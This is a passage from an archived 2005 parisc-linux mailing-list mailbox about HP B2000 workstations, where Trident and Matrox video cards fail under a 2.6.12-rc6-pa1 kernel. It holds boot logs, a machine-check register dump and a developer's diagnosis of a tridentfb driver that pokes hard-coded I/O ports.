	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oeHaYsQ7eSEkMr6WZHQhaXN1IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22770

> Grant wrote: 
> 
> > Jim Hull (HP PARISC/IPF Architect) published an errata later
> > indicating that the alignment could be relaxed to "native access"
> > (ie 4 byte for ldcw) if ",co" (Coherent Operation) completer 
> > was specified.
> > The email was dated Jan 29th, 2003.
> > But I can't a direct public reference of it. :^(

As an aside, binutils support for cache control completers was
recently improved for all load/store instructions.  Binutils
is now more precise in when cache control completers can be used.
It should now be possible to use either 1.x or 2.0 mnemonics
with cache control completers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] It is 2.6.12-rc6-pa1 kernel source,
 not 2.6.11-rc6-pa1 for both Matrox Mystique and Trident video cards
Date: Wed, 15 Jun 2005 23:39:10 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050615233701.02a3c330__35205.3007729866$1416623802$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623802 14822 80.91.229.3 (22 Nov 2014 02:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:42 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2005 15:40:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 15 Jun 2005 17:40:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A32B57D652;
	Wed, 15 Jun 2005 09:40:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02801-10; Wed, 15 Jun 2005 09:40:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 183F47D64C;
	Wed, 15 Jun 2005 09:40:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6DFF7D647
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:40:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02973-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:40:09 -0600 (MDT)
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg
	[203.116.1.189])
	by free.linux.hp.com (Postfix) with ESMTP id F0C1F7D644
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:40:08 -0600 (MDT)
Original-Received: from hpxphome.singnet.com.sg (cm41.gamma86.maxonline.com.sg
	[202.156.86.41])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5FFe35Y014946;
	Wed, 15 Jun 2005 23:40:06 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sy7CYqIfeSEkMr6WZHQhaXN1IGRvbwDe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22771

Hi,

Sorry for the wrong info in the SUBJECT line. It is 2.6.12-rc6-pa1 kernel 
source, not 2.6.11-rc6-pa1 for both Matrox Mystique and Trident video cards.

Rgds,
Lee


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Wed, 15 Jun 2005 13:06:16 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20050615190616.GA29652@colo.lackof.org>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623802 14823 80.91.229.3 (22 Nov 2014 02:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2005 19:02:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 15 Jun 2005 21:02:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 984757D662;
	Wed, 15 Jun 2005 13:02:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03806-01; Wed, 15 Jun 2005 13:02:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 224577D651;
	Wed, 15 Jun 2005 13:02:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6AEA7D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 13:02:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03518-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 13:02:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5D5B87D649
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 13:02:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 81CE3298052;
	Wed, 15 Jun 2005 13:06:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30687-06; Wed, 15 Jun 2005 13:06:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2ED3429803C; Wed, 15 Jun 2005 13:06:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HB7CYpUSeSEkYr6WZHQhaXN1IGRvb4BI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22772

On Wed, Jun 15, 2005 at 10:59:21PM +0800, J. L. Lee wrote:
...
> The B2000 booted past the initial RAM disk, discovered the built-in 
> hardware and the PCI Trident card, then disaster struck. Kernel panic after 
> the discovery of the Trident card.

Thanks for the good problem description - I know those take a long
time to write up.

But this isn't a "kernel panic" - it's a "High Priority Machine Check" (HPMC).
The difference is the platform chipset detected an error vs something
in the kernel. Fortunately the register dump and other console
output gives enough clues.
The HPMC occurs when tridentfb.c tries to poke at:
        if (chip_id == TGUI9660) {
                outb(RevisionID,0x3C4);
                revision = inb(0x3C5);
...	

This generally can't work on parisc.
Only if the trident card is plugged in under PCI bus 0.
The driver needs to map the hard coded address to some PCI resource.
What does your "lspci -v" output say?

You could hack around this with "#ifndef CONFIG_PARISC"
and hardcode the "chip_id" to the model you have.
You could then find out if the rest of the code has a chance of working.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trident video card caused Kernel Panic on HP
 Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Wed, 15 Jun 2005 22:59:21 +0800
Lines: 253
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050615221250.02a429c0__29729.9456120983$1416623802$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623802 14824 80.91.229.3 (22 Nov 2014 02:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:42 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2005 15:00:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 15 Jun 2005 17:00:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6CB27D627;
	Wed, 15 Jun 2005 09:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02270-05; Wed, 15 Jun 2005 09:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4357D629;
	Wed, 15 Jun 2005 09:00:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1B307D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:00:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02186-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:00:50 -0600 (MDT)
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg
	[203.116.1.189])
	by free.linux.hp.com (Postfix) with ESMTP id 8F0847D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Jun 2005 09:00:49 -0600 (MDT)
Original-Received: from hpxphome.singnet.com.sg (cm41.gamma86.maxonline.com.sg
	[202.156.86.41])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5FF0X5Y001150;
	Wed, 15 Jun 2005 23:00:38 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5CfCYiB5eSEkTr6WZHQhaXN1IGRvb0Dz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22773

Hi,

I have just successfully set up a Matrox Millennum II PCI video card on an 
HPPA RISC B2000 workstation. I now able to connect an HP910 to the Matrox 
video port running as a text console. (Yet to figure out how to configure X 
Windows.)

However when I plugged in a Trident video card (also configured as a module 
in the kernel) it causes the kernel to panic!

The basic h/w configuration are as follows:

1) HP Visualize 785/B2000 with 256 MB of memory, 400 MHz processor & 10 GB 
disk;
2) HP 910 monitor connected to a STI fxe video card (in trouble, I switched 
to ttys0 as the console);
3) Additional Trident video card with no monitor connected;
4) No HP/UX. Only Debian GNU/Linux;

Software configuration:

5) Sarge distribution from 27 April ISO images were used for the base 
installation;
6) All packages installed updated/upgraded to the latest available 
(regardless bugs or no bugs, 14 June?);
7) No security updates applied as security.debian.org site can't be 
accessed for some reasons;
8) Kernel source from "linux-2.6.12-rc6-pa1.tar.bz2";

Built the kernel using instructions from "PARISC-LINUX: Building The Kernel 
documentation" by following their "The Old, Grotty Way To Build a Kernel" 
and chose to compile the Matrox acceleration, Matrox Millennum II & 
Mystique and Trident supports into the Kernel as modules. I have also 
created the initial RAM disk by "mkinitrd -o 
/usr/src/linux-2.6.12-rc6-pa1/initrd.img-2.6.12-rc6-pa1 2.6.12-rc6-pa1".

The B2000 booted past the initial RAM disk, discovered the built-in 
hardware and the PCI Trident card, then disaster struck. Kernel panic after 
the discovery of the Trident card.

The boot process and the Kernel panic and associated error messages are 
appended next for your perusal.

Rgds,
Lee

ps. Boot messages captured:

Booting...

Boot IO Dependent Code (IODC) revision 0




HARD Booted.

palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Partition Start(MB) End(MB) Id Type


1               1      31   f0 Palo


2    	     8427    8678   82 swap


3              32     157   83 ext2


4             158    8426   83 ext2




PALO(F0) partition contains:

     0/vmlinux32 4968722 bytes @ 0x44000

Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).


Command line for kernel: 'root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux'



Selected kernel: /vmlinux from partition 3



Selected ramdisk: /initrd.img from partition 3



ELF32 executable



Entry 00100080 first 00100000 n 2



Segment 0 load 00100000 size 3279168 mediaptr 0x1000



Segment 1 load 00424000 size 393350 mediaptr 0x322000



Loading ramdisk 4804608 bytes @ 0fb59000...



Branching to kernel entry point 0x00100080.  If this is the last



message you see, you may need to switch your console.  This is



a common symptom -- search the FAQ and mailing list at parisc-linux.org



Linux version 2.6.12-rc6-pa1 (root@DebianHPPA.example.com)
(gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Wed Jun 15 18:27:54 SGT 2005

FP[0] enabled: Rev 1 Model 16

The 32-bit Kernel has started...

Initialized PDC Console for debugging.

Determining PDC firmware type: System Map.

model 00005d00 00000481 00000000 00000002 775714fc 100000f0 00000008 
000000b2 000000b2
vers  00000204
CPUID vers 17 rev 8 (0x00000228)
capabilities 0x3
model 9000/785/B2000
Total Memory: 256 MB
initrd: 1fb59000-1ffee000
initrd: reserving 0fb59000-0ffee000 (mem_max 10000000)
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel=3/vmlinux
PID hash table entries: 2048 (order: 11, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 262144k available
Security Framework v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512
checking if image is initramfs...it isn't (bad gzip magic numbers); looks 
like an initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Kazoo W+ at 0xfffa0000 [32] { 0, 0x0, 0x5d0, 0x00004 }
5. Memory at 0xfed10200 [49] { 1, 0x0, 0x09d, 0x00009 }
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
Setting cache flush threshold to 40 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
LBA version TR2.1 (0x2) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
LBA version TR2.1 (0x2) found at 0xfed32000
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
unwind_init: start = 0x10367b40, end = 0x1038cf00, entries = 9532
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f4c20000 (128 kB), fb at fb000000 (16 MB)
     id 35acda16-9a02587, conforms to spec rev. 8.0c
     graphics card name: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
tridentfb: Trident framebuffer 0.7.8-NEWAPI initializing


Backtrace:
  [<10113650>] inb+0x60/0x7c
  [<102469c4>] trident_pci_probe+0x438/0x4d4
  [<1020ceb8>] pci_device_probe_static+0x60/0x78
  [<1020cf10>] __pci_device_probe+0x40/0x60
  [<1020cf5c>] pci_device_probe+0x2c/0x58
  [<1026f200>] driver_probe_device+0x38/0x88
  [<1026f3a8>] driver_attach+0x84/0xc0
  [<1026f914>] bus_add_driver+0xa4/0xcc
  [<1020d27c>] pci_register_driver+0x70/0xa0
  [<1044378c>] tridentfb_init+0x50/0x64
  [<10430954>] do_initcalls+0x8c/0x130
  [<10103914>] init+0x3c/0x10c
  [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24


High Priority Machine Check (HPMC): Code=1 regs=10397080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001101 Not tainted
r00-03  00000000 104a8810 10113650 104ad810
r04-07  00008000 1f440c00 10340000 10482150
r08-11  1032d000 1f440c00 1032d000 1032d000
r12-15  10332800 1032d000 10493810 103a6010
r16-19  f00008c4 f000017c f0000174 fee003c5
r20-23  0000000f 00000000 10214594 00000002
r24-27  00000009 000003c5 1fffd580 1038d010
r28-31  000000ff 40000000 1fb04400 10113650
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102145a8 102145ac
  IIR: 0e60001c    ISR: a607fffb  IOR: 802003c5
  CPU:        0   CR30: 1fb04000 CR31: 10428000
  ORIG_R28: 00000000
  IAOQ[0]: lba_astro_in8+0x14/0x24
  IAOQ[1]: lba_astro_in8+0x18/0x24
  RP(r2): inb+0x60/0x7c
Kernel panic - not syncing: High Priority Machine Check (HPMC)



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: Matrox Mystique video card on HP Visualize 785/B2000 with
  rebuilt 2.6.11-rc6-pa1 kernel
Date: Wed, 15 Jun 2005 23:36:10 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050615232931.02a53750__31243.3781022721$1416623803$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623803 14825 80.91.229.3 (22 Nov 2014 02:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:43 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2005 15:37:17 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx050) with SMTP; 15 Jun 2005 17:37:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id EC7002EB98; Wed, 15 Jun 2005 10:37:14 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189])
	by murphy.debian.org (Postfix) with ESMTP id 893B42EB95
	for <debian-hppa@lists.debian.org>; Wed, 15 Jun 2005 10:37:08 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm41.gamma86.maxonline.com.sg [202.156.86.41])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j5FFb25Y022698;
	Wed, 15 Jun 2005 23:37:06 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-3.7 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <mGhKrC.A.MIB.qsEsCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4529
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 15 Jun 2005 10:37:14 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: eC7CYowDeSEkQL6WZHQhaXN1IGRvb8DP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22774

Hi,

I have set up successfully a Matrox Millennum II PCI video card on an HPPA 
RISC B2000 workstation. I now able to connect an HP910 to the Matrox 
Millennum video port running as a text console. (Yet to figure out how to 
configure X Windows.)

However when I plugged in a Matrox Mystique video card (also configured as 
a module in the kernel) the kernel fail to bring it up with the following 
error msgs:

matroxfb: Matrox Mystique (PCI) detected
matroxfb: Cannot determine memory size
matroxfb: probe of 000:01:04.0 failed with error -1

and the kernel booted up normally. Any idea what happened?

The basic h/w configuration are as follows:

1) HP Visualize 785/B2000 with 256 MB of memory, 400 MHz processor & 10 GB 
disk;
2) HP 910 monitor connected to a STI fxe video card (in trouble, I switched 
to ttys0 as the console);
3) Additional Matrox Mystique video card with no monitor connected;
4) No HP/UX. Only Debian GNU/Linux;

Software configuration:
